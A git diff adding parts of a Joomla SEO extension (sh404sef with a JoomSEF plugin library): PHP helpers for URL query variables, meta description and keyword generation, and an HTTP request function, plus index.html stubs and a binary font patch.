$regex = "(&|\?)$var=[^&]*"; + $regex = addcslashes($regex, '/'); + $newurl = preg_replace('/' . $regex . '/i', '$1', $url); + } else { + $trans = array('?' => '\\?' , '.' => '\\.' , '+' => '\\+' , '*' => '\\*' , '^' => '\\^' , '$' => '\\$'); + $value = strtr($value, $trans); + //$newurl = eregi_replace("(&|\?)$var=$value(&|\$)", '\\1\\2', $url); + $regex = "(&|\?)$var=$value(&|\$)"; + $regex = addcslashes($regex, '/'); + $newurl = preg_replace('/' . $regex . '/i', '$1$2', $url); + } + $newurl = trim($newurl, '&?'); + $trans = array('&&' => '&' , '?&' => '?'); + $newurl = strtr($newurl, $trans); + + return $newurl; + } + + function getVariable($url, $var) + { + $value = null; + $matches = array(); + + if( preg_match("/[&\?]$var=([^&]*)/", $url, $matches) > 0 ) { + $value = $matches[1]; + } + + return $value; + } + + function extractVariable(&$url, $var) + { + $value = SEFTools::getVariable($url, $var); + $url = SEFTools::removeVariable($url, $var); + + return $value; + } + + function fixVariable(&$uri, $varName) + { + $value = $uri->getVar($varName); + if (! is_null($value)) { + $pos = strpos($value, ':'); + if ($pos !== false) { + $value = substr($value, 0, $pos); + $uri->setVar($varName, $value); + } + } + } + + /** + * Removes given variables from URI and returns a query string + * built of them + * + * @param JURI $uri + * @param array $vars Variables to remove + */ + function RemoveVariables(&$uri, &$vars) + { + $query = array(); + if (is_array($vars) && count($vars) > 0) { + foreach($vars as $var) { + // Get the variable value + $value = $uri->getVar($var); + + // Skip variables not present in URL + if( is_null($value) ) { + continue; + } + + // Add variable to query + if( is_array($value) ) { + // Variable is an array, let's remove all its occurences + foreach($value as $key => $val) { + $query[] = $var.'['.$key.']='.urlencode($val); + } + } + else { + // Variable is not an array + $query[] = $var.'='.urlencode($value); + } + + // Remove variable from URI + $uri->delVar($var); + } + } + $query = implode('&', $query); + + return $query; + } + + function ReplaceAll($search, $replace, $subject) + { + while (strpos($subject, $search) !== false) { + $subject = str_replace($search, $replace, $subject); + } + + return $subject; + } + + /** + * Checks whether JoomFish is installed + * + * @return boolean + */ + function JoomFishInstalled() + { + static $installed; + + if (! isset($installed)) { + $installed = JFile::exists(JPATH_ROOT . '/' . 'administrator' . '/' . 'components' . '/' . 'com_joomfish' . '/' . 'joomfish.php'); + } + + return $installed; + } + + /** + * Checks whether to use alias from extension parameter value + * + * @param string $params + * @param string $paramName + * @return boolean + */ + function UseAlias(&$params, $paramName) + { + $sefConfig =& SEFConfig::getConfig(); + + $param = $params->get($paramName, 'global'); + if( ($param == 'alias') || + ($param == 'global' && $sefConfig->useAlias) ) + { + return true; + } + + return false; + } + + /** + * Convert description of extensions from html to plain for metatags + * + * @param string $text + * @return string + */ + function cleanDesc($text) { + // Remove javascript + $regex = "']*?>.*?'si"; + $text = preg_replace($regex, " ", $text); + $regex = "']*?>.*?'si"; + $text = preg_replace($regex, " ", $text); + + // Strip any remaining html tags + //$text = strip_tags($text); + $text = preg_replace('/<[^<>]*>/', ' ', $text); + + // Remove any mambot codes + $regex = '(\{.*?\})'; + $text = preg_replace($regex, " ", $text); + + // Remove html entities + $text = html_entity_decode($text); + + // Some replacements + $text = str_replace(array('\n', '\r'), array(' ', ''), $text); + $text = preg_replace('/\\s+/', ' ', $text); + $text = trim($text); + + return $text; + } + + /** + * Clip text to use as meta description + * + * @param string $text + * @param int $limit + * @return string + */ + function clipDesc($text, $limit) { + if (strlen($text) > $limit) { + $text = substr($text, 0, $limit); + $pos = strrpos($text, ' '); + if ($pos !== false) { + $text = substr($text, 0, $pos - 1); + } + $text = trim($text); + } + + return $text; + } + + /** + * Generate for metatags + * + * @param string $desc + * @param string $blacklist + * @param int $count + * @param int $minLength + * @return string + */ + function generateKeywords($desc, $blacklist, $count, $minLength) { + // Remove any email addresses + $regex = '/(([_A-Za-z0-9-]+)(\\.[_A-Za-z0-9-]+)*@([A-Za-z0-9-]+)(\\.[A-Za-z0-9-]+)*)/iex'; + $desc = preg_replace($regex, '', $desc); + // Some unwanted replaces + $desc = preg_replace('/<[^>]*>/', ' ', $desc); + $desc = preg_replace('/[\.;:|\'|\"|\`|\,|\(|\)|\-]/', ' ', $desc); + $keysArray = explode(" ", $desc); + // Sort words from up to down + $keysArray = array_count_values(array_map(array('JoomSEF', '_utf8LowerCase'), $keysArray)); + + if( is_null($blacklist) ) { + $blacklist = "a, able, about, above, abroad, according, accordingly, across, actually, adj, after, afterwards, again, against, ago, ahead, ain't, all, allow, allows, almost, alone, along, alongside, already, also, although, always, am, amid, amidst, among, amongst, an, and, another, any, anybody, anyhow, anyone, anything, anyway, anyways, anywhere, apart, appear, appreciate, appropriate, are, aren't, around, as, a's, aside, ask, asking, associated, at, available, away, awfully, b, back, backward, backwards, be, became, because, become, becomes, becoming, been, before, beforehand, begin, behind, being, believe, below, beside, besides, best, better, between, beyond, both, brief, but, by, c, came, can, cannot, cant, can't, caption, cause, causes, certain, certainly, changes, clearly, c'mon, co, co., com, come, comes, concerning, consequently, consider, considering, contain, containing, contains, corresponding, could, couldn't, course, c's, currently, d, dare, daren't, definitely, described, despite, did, didn't, different, directly, do, does, doesn't, doing, done, don't, down, downwards, during, e, each, edu, eg, eight, eighty, either, else, elsewhere, end, ending, enough, entirely, especially, et, etc, even, ever, evermore, every, everybody, everyone, everything, everywhere, ex, exactly, example, except, f, fairly, far, farther, few, fewer, fifth, first, five, followed, following, follows, for, forever, former, formerly, forth, forward, found, four, from, further, furthermore, g, get, gets, getting, given, gives, go, goes, going, gone, got, gotten, greetings, h, had, hadn't, half, happens, hardly, has, hasn't, have, haven't, having, he, he'd, he'll, hello, help, , hence, her, here, hereafter, hereby, herein, here's, hereupon, hers, herself, he's, hi, him, himself, his, hither, hopefully, how, howbeit, however, hundred, i, i'd, ie, if, ignored, i'll, i'm, immediate, in, inasmuch, inc, inc., indeed, indicate, indicated, indicates, inner, inside, insofar, instead, into, inward, is, isn't, it, it'd, it'll, its, it's, itself, i've, j, just, k, keep, keeps, kept, know, known, knows, l, last, lately, later, latter, latterly, least, less, lest, let, let's, like, liked, likely, likewise, little, look, looking, looks, low, lower, ltd, m, made, mainly, make, makes, many, may, maybe, mayn't, me, mean, meantime, meanwhile, merely, might, mightn't, mine, minus, miss, more, moreover, most, mostly, mr, mrs, much, must, mustn't, my, myself, n, name, namely, nd, near, nearly, necessary, need, needn't, needs, neither, never, neverf, neverless, nevertheless, new, next, nine, ninety, no, nobody, non, none, nonetheless, noone, no-one, nor, normally, not, nothing, notwithstanding, novel, now, nowhere, o, obviously, of, off, often, oh, ok, okay, old, on, once, one, ones, one's, only, onto, opposite, or, other, others, otherwise, ought, oughtn't, our, ours, ourselves, out, outside, over, overall, own, p, particular, particularly, past, per, perhaps, placed, please, plus, possible, presumably, probably, provided, provides, q, que, quite, qv, r, rather, rd, re, really, reasonably, recent, recently, regarding, regardless, regards, relatively, respectively, right, round, s, said, same, saw, say, saying, says, second, secondly, , see, seeing, seem, seemed, seeming, seems, seen, self, selves, sensible, sent, serious, seriously, seven, several, shall, shan't, she, she'd, she'll, she's, should, shouldn't, since, six, so, some, somebody, someday, somehow, someone, something, sometime, sometimes, somewhat, somewhere, soon, sorry, specified, specify, specifying, still, sub, such, sup, sure, t, take, taken, taking, tell, tends, th, than, thank, thanks, thanx, that, that'll, thats, that's, that've, the, their, theirs, them, themselves, then, thence, there, thereafter, thereby, there'd, therefore, therein, there'll, there're, theres, there's, thereupon, there've, these, they, they'd, they'll, they're, they've, thing, things, think, third, thirty, this, thorough, thoroughly, those, though, three, through, throughout, thru, thus, till, to, together, too, took, toward, towards, tried, tries, truly, try, trying, t's, twice, two, u, un, under, underneath, undoing, unfortunately, unless, unlike, unlikely, until, unto, up, upon, upwards, us, use, used, useful, uses, using, usually, v, value, various, versus, very, via, viz, vs, w, want, wants, was, wasn't, way, we, we'd, welcome, well, we'll, went, were, we're, weren't, we've, what, whatever, what'll, what's, what've, when, whence, whenever, where, whereafter, whereas, whereby, wherein, where's, whereupon, wherever, whether, which, whichever, while, whilst, whither, who, who'd, whoever, whole, who'll, whom, whomever, who's, whose, why, will, willing, wish, with, within, without, wonder, won't, would, wouldn't, x, y, yes, yet, you, you'd, you'll, your, you're, yours, yourself, yourselves, you've, z, zero"; + } + $blackArray = explode(",", $blacklist); + + foreach($blackArray as $blackWord){ + if(isset($keysArray[trim($blackWord)])) + unset($keysArray[trim($blackWord)]); + } + + arsort($keysArray); + + $i = 1; + $keywords = ''; + foreach($keysArray as $word=>$instances){ + if($i > $count) + break; + if(strlen(trim($word)) >= $minLength ) { + $keywords .= $word . ", "; + $i++; + } + } + + $keywords = rtrim($keywords, ", "); + return $keywords; + } + + function GetSEFGlobalMeta() { + return '194486783fc011cc1b5d4536468376ae'; // sef.global.meta + } + + /** + * Sends the POST request + * + * @param string $url + * @param string $referer + * @param array $_data + * @return object + */ + function PostRequest($url, $referer = null, $_data = null, $method = 'post', $userAgent = null) { + + // convert variables array to string: + $data = ''; + if( is_array($_data) && count($_data) > 0 ) { + // format --> test1=a&test2=b etc. + $data = array(); + while( list($n, $v) = each($_data) ) { + $data[] = "$n=$v"; + } + $data = implode('&', $data); + $contentType = "Content-type: application/x-www-form-urlencoded\r\n"; + } + else { + $data = $_data; + $contentType = "Content-type: text/xml\r\n"; + } + + if( is_null($referer) ) { + $referer = JURI::root(); + } + + // parse the given URL + $url = parse_url($url); + if( !isset($url['scheme']) || ($url['scheme'] != 'http') ) { + return false; + } + + // extract host and path: + $host = $url['host']; + $path = isset($url['path']) ? $url['path'] : '/'; + + // open a socket connection on port 80 + $errno = null; + $errstr = null; + $fp = @fsockopen($host, 80, $errno, $errstr, 5); + if( $fp === false ) { + return false; + } + + if (!is_null($userAgent)) { + $userAgent = "User-Agent: ".$userAgent."\r\n"; + } + + // send the request + if ($method == 'post') { + fputs($fp, "POST $path HTTP/1.1\r\n"); + if (!is_null($userAgent)) { + fputs($fp, $userAgent); + } + fputs($fp, "Host: $host\r\n"); + fputs($fp, "Referer: $referer\r\n"); + fputs($fp, $contentType); + fputs($fp, "Content-length: ". strlen($data) ."\r\n"); + fputs($fp, "Connection: close\r\n\r\n"); + fputs($fp, $data); + } + elseif ($method == 'get') { + $query = ''; + if (isset($url['query'])) { + $query = '?'.$url['query']; + } + fputs($fp, "GET {$path}{$query} HTTP/1.1\r\n"); + if (!is_null($userAgent)) { + fputs($fp, $userAgent); + } + fputs($fp, "Host: $host\r\n"); + fputs($fp, "Connection: close\r\n\r\n"); + } + + $result = ''; + while(!feof($fp)) { + // receive the results of the request + $result .= fgets($fp, 128); + } + + // close the socket connection: + fclose($fp); + + // split the result header from the content + $result = explode("\r\n\r\n", $result, 2); + + $header = isset($result[0]) ? $result[0] : ''; + $content = isset($result[1]) ? $result[1] : ''; + + $response = new stdClass(); + $response->header = $header; + $response->content = $content; + + // Handle chunked transfer if needed + if( strpos(strtolower($response->header), 'transfer-encoding: chunked') !== false ) { + $parsed = ''; + $left = $response->content; + + while( true ) { + $pos = strpos($left, "\r\n"); + if( $pos === false ) { + return $response; + } + + $chunksize = substr($left, 0, $pos); + $pos += strlen("\r\n"); + $left = substr($left, $pos); + + $pos = strpos($chunksize, ';'); + if( $pos !== false ) { + $chunksize = substr($chunksize, 0, $pos); + } + $chunksize = hexdec($chunksize); + + if( $chunksize == 0 ) { + break; + } + + $parsed .= substr($left, 0, $chunksize); + $left = substr($left, $chunksize + strlen("\r\n")); + } + + $response->content = $parsed; + } + + // Get the response code from header + $headerLines = explode("\n", $response->header); + $header1 = explode(' ', trim($headerLines[0])); + $code = intval($header1[1]); + $response->code = $code; + + return $response; + } + + function getSEOStatus() + { + static $status; + + if( !isset($status) ) { + $sefConfig =& SEFConfig::getConfig(); + $status = array(); + + $config =JFactory::getConfig(); + $status['sef'] = (bool)$config->get('config.sef'); + $status['mod_rewrite'] = (bool)$config->get('config.sef_rewrite'); + $status['joomsef'] = (bool)$sefConfig->enabled; + $status['plugin'] = JPluginHelper::isEnabled('system', 'joomsef'); + $status['newurls'] = !$sefConfig->disableNewSEF; + } + + return $status; + } + + function getNonSefVars(&$uri, $nonSefVars, $ignoreVars) + { + $mainframe =JFactory::getApplication(); + $sefConfig =& SEFConfig::getConfig(); + + // Get the parameters for this component + if( !is_null($uri->getVar('option')) ) { + $params =& SEFTools::getExtParams($uri->getVar('option')); + } + + // Build array of nonSef vars if set to + $nonSef = array(); + if( $sefConfig->appendNonSef ) { + // Save the given nonsef vars + $nonSef = $nonSefVars; + + // load the nonSEF vars from option parameters + $paramNonSef = array(); + if( isset($params) ) { + $nsef = $params->get('customNonSef', ''); + if( !empty($nsef) ) { + // Some variables are set, let's explode them + $paramNonSef = explode(';', $nsef); + } + } + + // get globally configured nonSEF vars + $configNonSef = array(); + if( !empty($sefConfig->customNonSef) ) { + $configNonSef = explode(';', $sefConfig->customNonSef); + } + + // Get nonSEF vars from variable filter test if set to + $failedVars = array(); + + // combine all the nonSEF vars arrays + $nsefvars = array_merge($paramNonSef, $configNonSef, $failedVars); + if (!empty($nsefvars)) { + foreach($nsefvars as $nsefvar) { + // add each variable, that isn't already set, and that is present in our URL + if( !isset($nonSef[$nsefvar]) && !is_null($uri->getVar($nsefvar)) ) { + $nonSef[$nsefvar] = $uri->getVar($nsefvar); + } + } + } + + // if $nonSefVars mixes with $GLOBALS['JOOMSEF_NONSEFVARS'], exclude the mixed vars + // this is important to prevent duplicating params by adding JOOMSEF_NONSEFVARS to + // $ignoreSefVars + $gNonSef = JoomSEF::get('sef.global.nonsefvars'); + if (!empty($gNonSef)) { + foreach (array_keys($gNonSef) as $key) { + if (isset($nonSef[$key])) unset($gNonSef[$key]); + } + JoomSEF::set('sef.global.nonsefvars', $gNonSef); + } + } + + // Removed: causing problems + /* + // if there are global variables to exclude, add them to ignoreSefVars array + $gNonSef = JoomSEF::get('sef.global.nonsefvars'); + if (!empty($gNonSef)) { + if (!empty($ignoreVars)) { + $ignoreVars = array_merge($gNonSef, $ignoreVars); + } else { + $ignoreVars = $gNonSef; + } + } + */ + + // Combine nonSef and ignore vars + if (!empty($ignoreVars)) { + $nonSef = array_merge($nonSef, $ignoreVars); + } + + // If the component requests strict accept variables filtering, add the ones that don't match + if( isset($params) && ($params->get('acceptStrict', '0') == '1') ) { + $acceptVars =& SEFTools::getExtAcceptVars($uri->getVar('option')); + $uriVars = $uri->getQuery(true); + if( (count($acceptVars) > 0) && (count($uriVars) > 0) ) { + foreach($uriVars as $name => $value) { + // Standard Joomla variables + if( in_array($name, array('option', 'Itemid', 'limit', 'limitstart', 'format', 'tmpl', 'lang')) ) { + continue; + } + // Accepted variables + if( in_array($name, $acceptVars) ) { + continue; + } + + // Variable not accepted, add it to non-SEF + $nonSef[$name] = $value; + } + } + } + + return $nonSef; + } + + function getHomeQueries($includeLang = true) + { + $menu =& JApplication::getMenu('site'); + $item =& $menu->getDefault(); + $link = $item->link; + $uri = new JURI($link); + + // We need to adjust the URL according to the extension + SEFTools::normalizeURI($uri); + + if ($includeLang) { + $uri->setVar('lang', ''); + } + + $q = JoomSEF::_uriToUrl($uri); + + return array($q, $item->id); + } + + function normalizeURI(&$uri) + { + $option = $uri->getVar('option'); + if (!is_null($option)) { + $extfile = JPATH_ROOT. '/' .'components'. '/' .'com_sef'. '/' .'sef_ext'. '/' .$option.'.php'; + if (file_exists($extfile)) { + require_once($extfile); + $class = 'SefExt_'.$option; + + $ext = new $class(); + + $ext->beforeCreate($uri); + + list($nonsef, $ignore) = $ext->getNonSefVars($uri); + if (!empty($ignore)) { + $nonsef = array_merge($nonsef, $ignore); + } + $keys = array_keys($nonsef); + + SEFTools::RemoveVariables($uri, $keys); + } + } + } + + /** + * Checks, whether the given Itemid is ignored for the given component + * + * @param string $option + * @param string $Itemid + * @return bool + */ + function isItemidIgnored($option, $Itemid) + { + $params =& SEFTools::getExtParams($option); + $ignoredIds = trim($params->get('ignoreItemids', '')); + + if (empty($ignoredIds)) { + return false; + } + + $ids = array_map('trim', explode(',', $ignoredIds)); + + if (in_array($Itemid, $ids)) { + return true; + } + + return false; + } +} +?> diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/tables/extension.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/tables/extension.php new file mode 100644 index 00000000..c38ab90c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/tables/extension.php @@ -0,0 +1,37 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Cache/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Cache/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Cache/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Fonts/arial.ttf b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/Fonts/arial.ttf new file mode 100644 index 0000000000000000000000000000000000000000..ff0815cd8c64b0a245ec780eb8d21867509155b5 GIT binary patch literal 367112 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 